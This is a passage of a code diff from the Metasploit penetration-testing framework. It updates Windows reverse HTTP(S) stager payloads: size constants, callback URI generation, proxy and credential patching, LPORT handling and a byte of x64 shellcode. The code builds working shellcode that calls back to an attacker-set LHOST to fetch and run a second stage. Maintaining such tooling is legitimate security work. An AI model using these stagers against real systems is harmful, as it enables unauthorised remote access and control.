@@ module Metasploit3 b64_stub << "')))" return b64_stub end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # Add 100 bytes for the encoder to have some room + space += 100 + + # Make room for the maximum possible URL length + space += 256 + + # The final estimated size + space + end + + # + # Return the longest URL that fits into our available space + # + def generate_callback_uri + uri_req_len = 30 + rand(256-30) + + # Generate the short default URL if we don't have enough space + if self.available_space.nil? || required_space > self.available_space + uri_req_len = 5 + end + + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP, uri_req_len) + end + end diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 94bb21082d..470113e01e 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/windows/reverse_http' module Metasploit3 - CachedSize = 306 + CachedSize = 311 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index 92ea6ee42f..02f5911305 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_https' module Metasploit3 - CachedSize = 326 + CachedSize = 331 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb index 8e392f266a..500506525a 100644 --- a/modules/payloads/stagers/windows/reverse_https_proxy.rb +++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb @@ -82,70 +82,74 @@ module Metasploit3 p[i, u.length] = u # patch proxy info - proxyhost = datastore['PROXYHOST'].to_s - proxyport = datastore['PROXYPORT'].to_s || "8080" + proxyhost = datastore['PayloadProxyHost'].to_s + proxyport = datastore['PayloadProxyPort'].to_s || "8080" + + if Rex::Socket.is_ipv6?(proxyhost) + proxyhost = "[#{proxyhost}]" + end + proxyinfo = proxyhost + ":" + proxyport if proxyport == "80" proxyinfo = proxyhost end - if datastore['PROXY_TYPE'].to_s == 'HTTP' + if datastore['PayloadProxyType'].to_s == 'HTTP' proxyinfo = 'http://' + proxyinfo else #socks proxyinfo = 'socks=' + proxyinfo end + proxyloc = p.index("PROXYHOST:PORT") p = p.gsub("PROXYHOST:PORT",proxyinfo) - # patch the call - calloffset = proxyinfo.length - calloffset += 1 + # Patch the call + calloffset = proxyinfo.length + 1 p[proxyloc-4] = [calloffset].pack('V')[0] - #Optional authentification - if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or - (datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or - datastore['PROXY_TYPE'] == 'SOCKS' + # Authentication credentials have not been specified + if datastore['PayloadProxyUser'].to_s == '' or + datastore['PayloadProxyPass'].to_s == '' or + datastore['PayloadProxyType'].to_s == 'SOCKS' jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START") - #remove auth code + + # Remove the authentication code p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "") else - username_size_diff = 14 - datastore['PROXY_USERNAME'].length - password_size_diff = 14 - datastore['PROXY_PASSWORD'].length - jmp_offset = 16 + #PROXY_AUTH_START length - 15 + #PROXY_AUTH_STOP length - username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length" - password_size_diff # same with PROXY_PASSWORD - #patch call offset + username_size_diff = 14 - datastore['PayloadProxyUser'].to_s.length + password_size_diff = 14 - datastore['PayloadProxyPass'].to_s.length + jmp_offset = + 16 + # PROXY_AUTH_START length + 15 + # PROXY_AUTH_STOP length + username_size_diff + # Difference between datastore PayloadProxyUser length and db "PayloadProxyUser length" + password_size_diff # Same with PayloadProxyPass + + # Patch call offset username_loc = p.index("PROXY_USERNAME") p[username_loc - 4, 4] = [15 - username_size_diff].pack("V") password_loc = p.index("PROXY_PASSWORD") p[password_loc - 4, 4] = [15 - password_size_diff].pack("V") - #remove markers & change login/pwd + + # Remove markers & change login/password p = p.gsub("PROXY_AUTH_START","") p = p.gsub("PROXY_AUTH_STOP","") - p = p.gsub("PROXY_USERNAME", datastore['PROXY_USERNAME']) - p = p.gsub("PROXY_PASSWORD", datastore['PROXY_PASSWORD']) + p = p.gsub("PROXY_USERNAME", datastore['PayloadProxyUser'].to_s) + p = p.gsub("PROXY_PASSWORD", datastore['PayloadProxyPass'].to_s) end - #patch jmp dbl_get_server_host + + # Patch jmp dbl_get_server_host jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V") - #patch call Internetopen + + # Patch call Internetopen p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V") - # patch the LPORT - lport = datastore['LPORT'] - + # Patch the LPORT lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444 - p[lportloc+1] = [lport.to_i].pack('V')[0] - p[lportloc+2] = [lport.to_i].pack('V')[1] - p[lportloc+3] = [lport.to_i].pack('V')[2] - p[lportloc+4] = [lport.to_i].pack('V')[3] + p[lportloc+1,4] = [datastore['LPORT'].to_i].pack('V') - # append LHOST and return payload - - lhost = datastore['LHOST'] - p + lhost.to_s + "\x00" + # Append LHOST and return payload + p + datastore['LHOST'].to_s + "\x00" end diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index 08fe6ef5a6..fccf7eab05 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -85,7 +85,7 @@ module Metasploit3 "\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" + "\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" + "\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" + - "\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" + + "\x83\xC4\x20\x85\xC0\x74\x99\x66\x8B\x07\x48\x01\xC3\x48\x85\xC0" + "\x75\xCE\x58\x58\xC3" + "\xE8\xD7\xFE\xFF\xFF" #updated jump offset }